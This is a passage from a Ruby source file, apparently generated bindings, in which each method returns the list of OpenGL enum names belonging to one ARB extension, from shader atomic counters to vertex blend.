'GL_ACTIVE_ATOMIC_COUNTER_BUFFERS',
'GL_UNIFORM_ATOMIC_COUNTER_BUFFER_INDEX',
'GL_UNSIGNED_INT_ATOMIC_COUNTER',
]
end # self.get_ext_enum_GL_ARB_shader_atomic_counters
def self.get_ext_enum_GL_ARB_shader_ballot
[
]
end # self.get_ext_enum_GL_ARB_shader_ballot
def self.get_ext_enum_GL_ARB_shader_bit_encoding
[
]
end # self.get_ext_enum_GL_ARB_shader_bit_encoding
def self.get_ext_enum_GL_ARB_shader_clock
[
]
end # self.get_ext_enum_GL_ARB_shader_clock
def self.get_ext_enum_GL_ARB_shader_draw_parameters
[
]
end # self.get_ext_enum_GL_ARB_shader_draw_parameters
def self.get_ext_enum_GL_ARB_shader_group_vote
[
]
end # self.get_ext_enum_GL_ARB_shader_group_vote
def self.get_ext_enum_GL_ARB_shader_image_load_store
[
'GL_VERTEX_ATTRIB_ARRAY_BARRIER_BIT',
'GL_ELEMENT_ARRAY_BARRIER_BIT',
'GL_UNIFORM_BARRIER_BIT',
'GL_TEXTURE_FETCH_BARRIER_BIT',
'GL_SHADER_IMAGE_ACCESS_BARRIER_BIT',
'GL_COMMAND_BARRIER_BIT',
'GL_PIXEL_BUFFER_BARRIER_BIT',
'GL_TEXTURE_UPDATE_BARRIER_BIT',
'GL_BUFFER_UPDATE_BARRIER_BIT',
'GL_FRAMEBUFFER_BARRIER_BIT',
'GL_TRANSFORM_FEEDBACK_BARRIER_BIT',
'GL_ATOMIC_COUNTER_BARRIER_BIT',
'GL_ALL_BARRIER_BITS',
'GL_MAX_IMAGE_UNITS',
'GL_MAX_COMBINED_IMAGE_UNITS_AND_FRAGMENT_OUTPUTS',
'GL_IMAGE_BINDING_NAME',
'GL_IMAGE_BINDING_LEVEL',
'GL_IMAGE_BINDING_LAYERED',
'GL_IMAGE_BINDING_LAYER',
'GL_IMAGE_BINDING_ACCESS',
'GL_IMAGE_1D',
'GL_IMAGE_2D',
'GL_IMAGE_3D',
'GL_IMAGE_2D_RECT',
'GL_IMAGE_CUBE',
'GL_IMAGE_BUFFER',
'GL_IMAGE_1D_ARRAY',
'GL_IMAGE_2D_ARRAY',
'GL_IMAGE_CUBE_MAP_ARRAY',
'GL_IMAGE_2D_MULTISAMPLE',
'GL_IMAGE_2D_MULTISAMPLE_ARRAY',
'GL_INT_IMAGE_1D',
'GL_INT_IMAGE_2D',
'GL_INT_IMAGE_3D',
'GL_INT_IMAGE_2D_RECT',
'GL_INT_IMAGE_CUBE',
'GL_INT_IMAGE_BUFFER',
'GL_INT_IMAGE_1D_ARRAY',
'GL_INT_IMAGE_2D_ARRAY',
'GL_INT_IMAGE_CUBE_MAP_ARRAY',
'GL_INT_IMAGE_2D_MULTISAMPLE',
'GL_INT_IMAGE_2D_MULTISAMPLE_ARRAY',
'GL_UNSIGNED_INT_IMAGE_1D',
'GL_UNSIGNED_INT_IMAGE_2D',
'GL_UNSIGNED_INT_IMAGE_3D',
'GL_UNSIGNED_INT_IMAGE_2D_RECT',
'GL_UNSIGNED_INT_IMAGE_CUBE',
'GL_UNSIGNED_INT_IMAGE_BUFFER',
'GL_UNSIGNED_INT_IMAGE_1D_ARRAY',
'GL_UNSIGNED_INT_IMAGE_2D_ARRAY',
'GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY',
'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE',
'GL_UNSIGNED_INT_IMAGE_2D_MULTISAMPLE_ARRAY',
'GL_MAX_IMAGE_SAMPLES',
'GL_IMAGE_BINDING_FORMAT',
'GL_IMAGE_FORMAT_COMPATIBILITY_TYPE',
'GL_IMAGE_FORMAT_COMPATIBILITY_BY_SIZE',
'GL_IMAGE_FORMAT_COMPATIBILITY_BY_CLASS',
'GL_MAX_VERTEX_IMAGE_UNIFORMS',
'GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS',
'GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS',
'GL_MAX_GEOMETRY_IMAGE_UNIFORMS',
'GL_MAX_FRAGMENT_IMAGE_UNIFORMS',
'GL_MAX_COMBINED_IMAGE_UNIFORMS',
]
end # self.get_ext_enum_GL_ARB_shader_image_load_store
def self.get_ext_enum_GL_ARB_shader_image_size
[
]
end # self.get_ext_enum_GL_ARB_shader_image_size
def self.get_ext_enum_GL_ARB_shader_objects
[
'GL_PROGRAM_OBJECT_ARB',
'GL_SHADER_OBJECT_ARB',
'GL_OBJECT_TYPE_ARB',
'GL_OBJECT_SUBTYPE_ARB',
'GL_FLOAT_VEC2_ARB',
'GL_FLOAT_VEC3_ARB',
'GL_FLOAT_VEC4_ARB',
'GL_INT_VEC2_ARB',
'GL_INT_VEC3_ARB',
'GL_INT_VEC4_ARB',
'GL_BOOL_ARB',
'GL_BOOL_VEC2_ARB',
'GL_BOOL_VEC3_ARB',
'GL_BOOL_VEC4_ARB',
'GL_FLOAT_MAT2_ARB',
'GL_FLOAT_MAT3_ARB',
'GL_FLOAT_MAT4_ARB',
'GL_SAMPLER_1D_ARB',
'GL_SAMPLER_2D_ARB',
'GL_SAMPLER_3D_ARB',
'GL_SAMPLER_CUBE_ARB',
'GL_SAMPLER_1D_SHADOW_ARB',
'GL_SAMPLER_2D_SHADOW_ARB',
'GL_SAMPLER_2D_RECT_ARB',
'GL_SAMPLER_2D_RECT_SHADOW_ARB',
'GL_OBJECT_DELETE_STATUS_ARB',
'GL_OBJECT_COMPILE_STATUS_ARB',
'GL_OBJECT_LINK_STATUS_ARB',
'GL_OBJECT_VALIDATE_STATUS_ARB',
'GL_OBJECT_INFO_LOG_LENGTH_ARB',
'GL_OBJECT_ATTACHED_OBJECTS_ARB',
'GL_OBJECT_ACTIVE_UNIFORMS_ARB',
'GL_OBJECT_ACTIVE_UNIFORM_MAX_LENGTH_ARB',
'GL_OBJECT_SHADER_SOURCE_LENGTH_ARB',
]
end # self.get_ext_enum_GL_ARB_shader_objects
def self.get_ext_enum_GL_ARB_shader_precision
[
]
end # self.get_ext_enum_GL_ARB_shader_precision
def self.get_ext_enum_GL_ARB_shader_stencil_export
[
]
end # self.get_ext_enum_GL_ARB_shader_stencil_export
def self.get_ext_enum_GL_ARB_shader_storage_buffer_object
[
'GL_SHADER_STORAGE_BUFFER',
'GL_SHADER_STORAGE_BUFFER_BINDING',
'GL_SHADER_STORAGE_BUFFER_START',
'GL_SHADER_STORAGE_BUFFER_SIZE',
'GL_MAX_VERTEX_SHADER_STORAGE_BLOCKS',
'GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS',
'GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS',
'GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS',
'GL_MAX_FRAGMENT_SHADER_STORAGE_BLOCKS',
'GL_MAX_COMPUTE_SHADER_STORAGE_BLOCKS',
'GL_MAX_COMBINED_SHADER_STORAGE_BLOCKS',
'GL_MAX_SHADER_STORAGE_BUFFER_BINDINGS',
'GL_MAX_SHADER_STORAGE_BLOCK_SIZE',
'GL_SHADER_STORAGE_BUFFER_OFFSET_ALIGNMENT',
'GL_SHADER_STORAGE_BARRIER_BIT',
'GL_MAX_COMBINED_SHADER_OUTPUT_RESOURCES',
'GL_MAX_COMBINED_IMAGE_UNITS_AND_FRAGMENT_OUTPUTS',
]
end # self.get_ext_enum_GL_ARB_shader_storage_buffer_object
def self.get_ext_enum_GL_ARB_shader_subroutine
[
'GL_ACTIVE_SUBROUTINES',
'GL_ACTIVE_SUBROUTINE_UNIFORMS',
'GL_ACTIVE_SUBROUTINE_UNIFORM_LOCATIONS',
'GL_ACTIVE_SUBROUTINE_MAX_LENGTH',
'GL_ACTIVE_SUBROUTINE_UNIFORM_MAX_LENGTH',
'GL_MAX_SUBROUTINES',
'GL_MAX_SUBROUTINE_UNIFORM_LOCATIONS',
'GL_NUM_COMPATIBLE_SUBROUTINES',
'GL_COMPATIBLE_SUBROUTINES',
'GL_UNIFORM_SIZE',
'GL_UNIFORM_NAME_LENGTH',
]
end # self.get_ext_enum_GL_ARB_shader_subroutine
def self.get_ext_enum_GL_ARB_shader_texture_image_samples
[
]
end # self.get_ext_enum_GL_ARB_shader_texture_image_samples
def self.get_ext_enum_GL_ARB_shader_texture_lod
[
]
end # self.get_ext_enum_GL_ARB_shader_texture_lod
def self.get_ext_enum_GL_ARB_shader_viewport_layer_array
[
]
end # self.get_ext_enum_GL_ARB_shader_viewport_layer_array
def self.get_ext_enum_GL_ARB_shading_language_100
[
'GL_SHADING_LANGUAGE_VERSION_ARB',
]
end # self.get_ext_enum_GL_ARB_shading_language_100
def self.get_ext_enum_GL_ARB_shading_language_420pack
[
]
end # self.get_ext_enum_GL_ARB_shading_language_420pack
def self.get_ext_enum_GL_ARB_shading_language_include
[
'GL_SHADER_INCLUDE_ARB',
'GL_NAMED_STRING_LENGTH_ARB',
'GL_NAMED_STRING_TYPE_ARB',
]
end # self.get_ext_enum_GL_ARB_shading_language_include
def self.get_ext_enum_GL_ARB_shading_language_packing
[
]
end # self.get_ext_enum_GL_ARB_shading_language_packing
def self.get_ext_enum_GL_ARB_shadow
[
'GL_TEXTURE_COMPARE_MODE_ARB',
'GL_TEXTURE_COMPARE_FUNC_ARB',
'GL_COMPARE_R_TO_TEXTURE_ARB',
]
end # self.get_ext_enum_GL_ARB_shadow
def self.get_ext_enum_GL_ARB_shadow_ambient
[
'GL_TEXTURE_COMPARE_FAIL_VALUE_ARB',
]
end # self.get_ext_enum_GL_ARB_shadow_ambient
def self.get_ext_enum_GL_ARB_sparse_buffer
[
'GL_SPARSE_STORAGE_BIT_ARB',
'GL_SPARSE_BUFFER_PAGE_SIZE_ARB',
]
end # self.get_ext_enum_GL_ARB_sparse_buffer
def self.get_ext_enum_GL_ARB_sparse_texture
[
'GL_TEXTURE_SPARSE_ARB',
'GL_VIRTUAL_PAGE_SIZE_INDEX_ARB',
'GL_NUM_SPARSE_LEVELS_ARB',
'GL_NUM_VIRTUAL_PAGE_SIZES_ARB',
'GL_VIRTUAL_PAGE_SIZE_X_ARB',
'GL_VIRTUAL_PAGE_SIZE_Y_ARB',
'GL_VIRTUAL_PAGE_SIZE_Z_ARB',
'GL_MAX_SPARSE_TEXTURE_SIZE_ARB',
'GL_MAX_SPARSE_3D_TEXTURE_SIZE_ARB',
'GL_MAX_SPARSE_ARRAY_TEXTURE_LAYERS_ARB',
'GL_SPARSE_TEXTURE_FULL_ARRAY_CUBE_MIPMAPS_ARB',
]
end # self.get_ext_enum_GL_ARB_sparse_texture
def self.get_ext_enum_GL_ARB_sparse_texture2
[
]
end # self.get_ext_enum_GL_ARB_sparse_texture2
def self.get_ext_enum_GL_ARB_sparse_texture_clamp
[
]
end # self.get_ext_enum_GL_ARB_sparse_texture_clamp
def self.get_ext_enum_GL_ARB_stencil_texturing
[
'GL_DEPTH_STENCIL_TEXTURE_MODE',
]
end # self.get_ext_enum_GL_ARB_stencil_texturing
def self.get_ext_enum_GL_ARB_sync
[
'GL_MAX_SERVER_WAIT_TIMEOUT',
'GL_OBJECT_TYPE',
'GL_SYNC_CONDITION',
'GL_SYNC_STATUS',
'GL_SYNC_FLAGS',
'GL_SYNC_FENCE',
'GL_SYNC_GPU_COMMANDS_COMPLETE',
'GL_UNSIGNALED',
'GL_SIGNALED',
'GL_ALREADY_SIGNALED',
'GL_TIMEOUT_EXPIRED',
'GL_CONDITION_SATISFIED',
'GL_WAIT_FAILED',
'GL_SYNC_FLUSH_COMMANDS_BIT',
'GL_TIMEOUT_IGNORED',
]
end # self.get_ext_enum_GL_ARB_sync
def self.get_ext_enum_GL_ARB_tessellation_shader
[
'GL_PATCHES',
'GL_PATCH_VERTICES',
'GL_PATCH_DEFAULT_INNER_LEVEL',
'GL_PATCH_DEFAULT_OUTER_LEVEL',
'GL_TESS_CONTROL_OUTPUT_VERTICES',
'GL_TESS_GEN_MODE',
'GL_TESS_GEN_SPACING',
'GL_TESS_GEN_VERTEX_ORDER',
'GL_TESS_GEN_POINT_MODE',
'GL_TRIANGLES',
'GL_ISOLINES',
'GL_QUADS',
'GL_EQUAL',
'GL_FRACTIONAL_ODD',
'GL_FRACTIONAL_EVEN',
'GL_CCW',
'GL_CW',
'GL_MAX_PATCH_VERTICES',
'GL_MAX_TESS_GEN_LEVEL',
'GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS',
'GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS',
'GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS',
'GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS',
'GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS',
'GL_MAX_TESS_PATCH_COMPONENTS',
'GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS',
'GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS',
'GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS',
'GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS',
'GL_MAX_TESS_CONTROL_INPUT_COMPONENTS',
'GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS',
'GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS',
'GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS',
'GL_UNIFORM_BLOCK_REFERENCED_BY_TESS_CONTROL_SHADER',
'GL_UNIFORM_BLOCK_REFERENCED_BY_TESS_EVALUATION_SHADER',
'GL_TESS_EVALUATION_SHADER',
'GL_TESS_CONTROL_SHADER',
]
end # self.get_ext_enum_GL_ARB_tessellation_shader
def self.get_ext_enum_GL_ARB_texture_barrier
[
]
end # self.get_ext_enum_GL_ARB_texture_barrier
def self.get_ext_enum_GL_ARB_texture_border_clamp
[
'GL_CLAMP_TO_BORDER_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_border_clamp
def self.get_ext_enum_GL_ARB_texture_buffer_object
[
'GL_TEXTURE_BUFFER_ARB',
'GL_MAX_TEXTURE_BUFFER_SIZE_ARB',
'GL_TEXTURE_BINDING_BUFFER_ARB',
'GL_TEXTURE_BUFFER_DATA_STORE_BINDING_ARB',
'GL_TEXTURE_BUFFER_FORMAT_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_buffer_object
def self.get_ext_enum_GL_ARB_texture_buffer_object_rgb32
[
'GL_RGB32F',
'GL_RGB32UI',
'GL_RGB32I',
]
end # self.get_ext_enum_GL_ARB_texture_buffer_object_rgb32
def self.get_ext_enum_GL_ARB_texture_buffer_range
[
'GL_TEXTURE_BUFFER_OFFSET',
'GL_TEXTURE_BUFFER_SIZE',
'GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT',
]
end # self.get_ext_enum_GL_ARB_texture_buffer_range
def self.get_ext_enum_GL_ARB_texture_compression
[
'GL_COMPRESSED_ALPHA_ARB',
'GL_COMPRESSED_LUMINANCE_ARB',
'GL_COMPRESSED_LUMINANCE_ALPHA_ARB',
'GL_COMPRESSED_INTENSITY_ARB',
'GL_COMPRESSED_RGB_ARB',
'GL_COMPRESSED_RGBA_ARB',
'GL_TEXTURE_COMPRESSION_HINT_ARB',
'GL_TEXTURE_COMPRESSED_IMAGE_SIZE_ARB',
'GL_TEXTURE_COMPRESSED_ARB',
'GL_NUM_COMPRESSED_TEXTURE_FORMATS_ARB',
'GL_COMPRESSED_TEXTURE_FORMATS_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_compression
def self.get_ext_enum_GL_ARB_texture_compression_bptc
[
'GL_COMPRESSED_RGBA_BPTC_UNORM_ARB',
'GL_COMPRESSED_SRGB_ALPHA_BPTC_UNORM_ARB',
'GL_COMPRESSED_RGB_BPTC_SIGNED_FLOAT_ARB',
'GL_COMPRESSED_RGB_BPTC_UNSIGNED_FLOAT_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_compression_bptc
def self.get_ext_enum_GL_ARB_texture_compression_rgtc
[
'GL_COMPRESSED_RED_RGTC1',
'GL_COMPRESSED_SIGNED_RED_RGTC1',
'GL_COMPRESSED_RG_RGTC2',
'GL_COMPRESSED_SIGNED_RG_RGTC2',
]
end # self.get_ext_enum_GL_ARB_texture_compression_rgtc
def self.get_ext_enum_GL_ARB_texture_cube_map
[
'GL_NORMAL_MAP_ARB',
'GL_REFLECTION_MAP_ARB',
'GL_TEXTURE_CUBE_MAP_ARB',
'GL_TEXTURE_BINDING_CUBE_MAP_ARB',
'GL_TEXTURE_CUBE_MAP_POSITIVE_X_ARB',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_X_ARB',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Y_ARB',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_ARB',
'GL_TEXTURE_CUBE_MAP_POSITIVE_Z_ARB',
'GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_ARB',
'GL_PROXY_TEXTURE_CUBE_MAP_ARB',
'GL_MAX_CUBE_MAP_TEXTURE_SIZE_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_cube_map
def self.get_ext_enum_GL_ARB_texture_cube_map_array
[
'GL_TEXTURE_CUBE_MAP_ARRAY_ARB',
'GL_TEXTURE_BINDING_CUBE_MAP_ARRAY_ARB',
'GL_PROXY_TEXTURE_CUBE_MAP_ARRAY_ARB',
'GL_SAMPLER_CUBE_MAP_ARRAY_ARB',
'GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW_ARB',
'GL_INT_SAMPLER_CUBE_MAP_ARRAY_ARB',
'GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_cube_map_array
def self.get_ext_enum_GL_ARB_texture_env_add
[
]
end # self.get_ext_enum_GL_ARB_texture_env_add
def self.get_ext_enum_GL_ARB_texture_env_combine
[
'GL_COMBINE_ARB',
'GL_COMBINE_RGB_ARB',
'GL_COMBINE_ALPHA_ARB',
'GL_SOURCE0_RGB_ARB',
'GL_SOURCE1_RGB_ARB',
'GL_SOURCE2_RGB_ARB',
'GL_SOURCE0_ALPHA_ARB',
'GL_SOURCE1_ALPHA_ARB',
'GL_SOURCE2_ALPHA_ARB',
'GL_OPERAND0_RGB_ARB',
'GL_OPERAND1_RGB_ARB',
'GL_OPERAND2_RGB_ARB',
'GL_OPERAND0_ALPHA_ARB',
'GL_OPERAND1_ALPHA_ARB',
'GL_OPERAND2_ALPHA_ARB',
'GL_RGB_SCALE_ARB',
'GL_ADD_SIGNED_ARB',
'GL_INTERPOLATE_ARB',
'GL_SUBTRACT_ARB',
'GL_CONSTANT_ARB',
'GL_PRIMARY_COLOR_ARB',
'GL_PREVIOUS_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_env_combine
def self.get_ext_enum_GL_ARB_texture_env_crossbar
[
]
end # self.get_ext_enum_GL_ARB_texture_env_crossbar
def self.get_ext_enum_GL_ARB_texture_env_dot3
[
'GL_DOT3_RGB_ARB',
'GL_DOT3_RGBA_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_env_dot3
def self.get_ext_enum_GL_ARB_texture_filter_minmax
[
'GL_TEXTURE_REDUCTION_MODE_ARB',
'GL_WEIGHTED_AVERAGE_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_filter_minmax
def self.get_ext_enum_GL_ARB_texture_float
[
'GL_TEXTURE_RED_TYPE_ARB',
'GL_TEXTURE_GREEN_TYPE_ARB',
'GL_TEXTURE_BLUE_TYPE_ARB',
'GL_TEXTURE_ALPHA_TYPE_ARB',
'GL_TEXTURE_LUMINANCE_TYPE_ARB',
'GL_TEXTURE_INTENSITY_TYPE_ARB',
'GL_TEXTURE_DEPTH_TYPE_ARB',
'GL_UNSIGNED_NORMALIZED_ARB',
'GL_RGBA32F_ARB',
'GL_RGB32F_ARB',
'GL_ALPHA32F_ARB',
'GL_INTENSITY32F_ARB',
'GL_LUMINANCE32F_ARB',
'GL_LUMINANCE_ALPHA32F_ARB',
'GL_RGBA16F_ARB',
'GL_RGB16F_ARB',
'GL_ALPHA16F_ARB',
'GL_INTENSITY16F_ARB',
'GL_LUMINANCE16F_ARB',
'GL_LUMINANCE_ALPHA16F_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_float
def self.get_ext_enum_GL_ARB_texture_gather
[
'GL_MIN_PROGRAM_TEXTURE_GATHER_OFFSET_ARB',
'GL_MAX_PROGRAM_TEXTURE_GATHER_OFFSET_ARB',
'GL_MAX_PROGRAM_TEXTURE_GATHER_COMPONENTS_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_gather
def self.get_ext_enum_GL_ARB_texture_mirror_clamp_to_edge
[
'GL_MIRROR_CLAMP_TO_EDGE',
]
end # self.get_ext_enum_GL_ARB_texture_mirror_clamp_to_edge
def self.get_ext_enum_GL_ARB_texture_mirrored_repeat
[
'GL_MIRRORED_REPEAT_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_mirrored_repeat
def self.get_ext_enum_GL_ARB_texture_multisample
[
'GL_SAMPLE_POSITION',
'GL_SAMPLE_MASK',
'GL_SAMPLE_MASK_VALUE',
'GL_MAX_SAMPLE_MASK_WORDS',
'GL_TEXTURE_2D_MULTISAMPLE',
'GL_PROXY_TEXTURE_2D_MULTISAMPLE',
'GL_TEXTURE_2D_MULTISAMPLE_ARRAY',
'GL_PROXY_TEXTURE_2D_MULTISAMPLE_ARRAY',
'GL_TEXTURE_BINDING_2D_MULTISAMPLE',
'GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY',
'GL_TEXTURE_SAMPLES',
'GL_TEXTURE_FIXED_SAMPLE_LOCATIONS',
'GL_SAMPLER_2D_MULTISAMPLE',
'GL_INT_SAMPLER_2D_MULTISAMPLE',
'GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE',
'GL_SAMPLER_2D_MULTISAMPLE_ARRAY',
'GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY',
'GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY',
'GL_MAX_COLOR_TEXTURE_SAMPLES',
'GL_MAX_DEPTH_TEXTURE_SAMPLES',
'GL_MAX_INTEGER_SAMPLES',
]
end # self.get_ext_enum_GL_ARB_texture_multisample
def self.get_ext_enum_GL_ARB_texture_non_power_of_two
[
]
end # self.get_ext_enum_GL_ARB_texture_non_power_of_two
def self.get_ext_enum_GL_ARB_texture_query_levels
[
]
end # self.get_ext_enum_GL_ARB_texture_query_levels
def self.get_ext_enum_GL_ARB_texture_query_lod
[
]
end # self.get_ext_enum_GL_ARB_texture_query_lod
def self.get_ext_enum_GL_ARB_texture_rectangle
[
'GL_TEXTURE_RECTANGLE_ARB',
'GL_TEXTURE_BINDING_RECTANGLE_ARB',
'GL_PROXY_TEXTURE_RECTANGLE_ARB',
'GL_MAX_RECTANGLE_TEXTURE_SIZE_ARB',
]
end # self.get_ext_enum_GL_ARB_texture_rectangle
def self.get_ext_enum_GL_ARB_texture_rg
[
'GL_RG',
'GL_RG_INTEGER',
'GL_R8',
'GL_R16',
'GL_RG8',
'GL_RG16',
'GL_R16F',
'GL_R32F',
'GL_RG16F',
'GL_RG32F',
'GL_R8I',
'GL_R8UI',
'GL_R16I',
'GL_R16UI',
'GL_R32I',
'GL_R32UI',
'GL_RG8I',
'GL_RG8UI',
'GL_RG16I',
'GL_RG16UI',
'GL_RG32I',
'GL_RG32UI',
]
end # self.get_ext_enum_GL_ARB_texture_rg
def self.get_ext_enum_GL_ARB_texture_rgb10_a2ui
[
'GL_RGB10_A2UI',
]
end # self.get_ext_enum_GL_ARB_texture_rgb10_a2ui
def self.get_ext_enum_GL_ARB_texture_stencil8
[
'GL_STENCIL_INDEX',
'GL_STENCIL_INDEX8',
]
end # self.get_ext_enum_GL_ARB_texture_stencil8
def self.get_ext_enum_GL_ARB_texture_storage
[
'GL_TEXTURE_IMMUTABLE_FORMAT',
]
end # self.get_ext_enum_GL_ARB_texture_storage
def self.get_ext_enum_GL_ARB_texture_storage_multisample
[
]
end # self.get_ext_enum_GL_ARB_texture_storage_multisample
def self.get_ext_enum_GL_ARB_texture_swizzle
[
'GL_TEXTURE_SWIZZLE_R',
'GL_TEXTURE_SWIZZLE_G',
'GL_TEXTURE_SWIZZLE_B',
'GL_TEXTURE_SWIZZLE_A',
'GL_TEXTURE_SWIZZLE_RGBA',
]
end # self.get_ext_enum_GL_ARB_texture_swizzle
def self.get_ext_enum_GL_ARB_texture_view
[
'GL_TEXTURE_VIEW_MIN_LEVEL',
'GL_TEXTURE_VIEW_NUM_LEVELS',
'GL_TEXTURE_VIEW_MIN_LAYER',
'GL_TEXTURE_VIEW_NUM_LAYERS',
'GL_TEXTURE_IMMUTABLE_LEVELS',
]
end # self.get_ext_enum_GL_ARB_texture_view
def self.get_ext_enum_GL_ARB_timer_query
[
'GL_TIME_ELAPSED',
'GL_TIMESTAMP',
]
end # self.get_ext_enum_GL_ARB_timer_query
def self.get_ext_enum_GL_ARB_transform_feedback2
[
'GL_TRANSFORM_FEEDBACK',
'GL_TRANSFORM_FEEDBACK_BUFFER_PAUSED',
'GL_TRANSFORM_FEEDBACK_BUFFER_ACTIVE',
'GL_TRANSFORM_FEEDBACK_BINDING',
]
end # self.get_ext_enum_GL_ARB_transform_feedback2
def self.get_ext_enum_GL_ARB_transform_feedback3
[
'GL_MAX_TRANSFORM_FEEDBACK_BUFFERS',
'GL_MAX_VERTEX_STREAMS',
]
end # self.get_ext_enum_GL_ARB_transform_feedback3
def self.get_ext_enum_GL_ARB_transform_feedback_instanced
[
]
end # self.get_ext_enum_GL_ARB_transform_feedback_instanced
def self.get_ext_enum_GL_ARB_transform_feedback_overflow_query
[
'GL_TRANSFORM_FEEDBACK_OVERFLOW_ARB',
'GL_TRANSFORM_FEEDBACK_STREAM_OVERFLOW_ARB',
]
end # self.get_ext_enum_GL_ARB_transform_feedback_overflow_query
def self.get_ext_enum_GL_ARB_transpose_matrix
[
'GL_TRANSPOSE_MODELVIEW_MATRIX_ARB',
'GL_TRANSPOSE_PROJECTION_MATRIX_ARB',
'GL_TRANSPOSE_TEXTURE_MATRIX_ARB',
'GL_TRANSPOSE_COLOR_MATRIX_ARB',
]
end # self.get_ext_enum_GL_ARB_transpose_matrix
def self.get_ext_enum_GL_ARB_uniform_buffer_object
[
'GL_UNIFORM_BUFFER',
'GL_UNIFORM_BUFFER_BINDING',
'GL_UNIFORM_BUFFER_START',
'GL_UNIFORM_BUFFER_SIZE',
'GL_MAX_VERTEX_UNIFORM_BLOCKS',
'GL_MAX_GEOMETRY_UNIFORM_BLOCKS',
'GL_MAX_FRAGMENT_UNIFORM_BLOCKS',
'GL_MAX_COMBINED_UNIFORM_BLOCKS',
'GL_MAX_UNIFORM_BUFFER_BINDINGS',
'GL_MAX_UNIFORM_BLOCK_SIZE',
'GL_MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS',
'GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS',
'GL_MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS',
'GL_UNIFORM_BUFFER_OFFSET_ALIGNMENT',
'GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH',
'GL_ACTIVE_UNIFORM_BLOCKS',
'GL_UNIFORM_TYPE',
'GL_UNIFORM_SIZE',
'GL_UNIFORM_NAME_LENGTH',
'GL_UNIFORM_BLOCK_INDEX',
'GL_UNIFORM_OFFSET',
'GL_UNIFORM_ARRAY_STRIDE',
'GL_UNIFORM_MATRIX_STRIDE',
'GL_UNIFORM_IS_ROW_MAJOR',
'GL_UNIFORM_BLOCK_BINDING',
'GL_UNIFORM_BLOCK_DATA_SIZE',
'GL_UNIFORM_BLOCK_NAME_LENGTH',
'GL_UNIFORM_BLOCK_ACTIVE_UNIFORMS',
'GL_UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES',
'GL_UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER',
'GL_UNIFORM_BLOCK_REFERENCED_BY_GEOMETRY_SHADER',
'GL_UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER',
'GL_INVALID_INDEX',
]
end # self.get_ext_enum_GL_ARB_uniform_buffer_object
def self.get_ext_enum_GL_ARB_vertex_array_bgra
[
'GL_BGRA',
]
end # self.get_ext_enum_GL_ARB_vertex_array_bgra
def self.get_ext_enum_GL_ARB_vertex_array_object
[
'GL_VERTEX_ARRAY_BINDING',
]
end # self.get_ext_enum_GL_ARB_vertex_array_object
def self.get_ext_enum_GL_ARB_vertex_attrib_64bit
[
'GL_RGB32I',
'GL_DOUBLE_VEC2',
'GL_DOUBLE_VEC3',
'GL_DOUBLE_VEC4',
'GL_DOUBLE_MAT2',
'GL_DOUBLE_MAT3',
'GL_DOUBLE_MAT4',
'GL_DOUBLE_MAT2x3',
'GL_DOUBLE_MAT2x4',
'GL_DOUBLE_MAT3x2',
'GL_DOUBLE_MAT3x4',
'GL_DOUBLE_MAT4x2',
'GL_DOUBLE_MAT4x3',
]
end # self.get_ext_enum_GL_ARB_vertex_attrib_64bit
def self.get_ext_enum_GL_ARB_vertex_attrib_binding
[
'GL_VERTEX_ATTRIB_BINDING',
'GL_VERTEX_ATTRIB_RELATIVE_OFFSET',
'GL_VERTEX_BINDING_DIVISOR',
'GL_VERTEX_BINDING_OFFSET',
'GL_VERTEX_BINDING_STRIDE',
'GL_MAX_VERTEX_ATTRIB_RELATIVE_OFFSET',
'GL_MAX_VERTEX_ATTRIB_BINDINGS',
]
end # self.get_ext_enum_GL_ARB_vertex_attrib_binding
def self.get_ext_enum_GL_ARB_vertex_blend
[
'GL_MAX_VERTEX_UNITS_ARB',
'GL_ACTIVE_VERTEX_UNITS_ARB',
'GL_WEIGHT_SUM_UNITY_ARB',
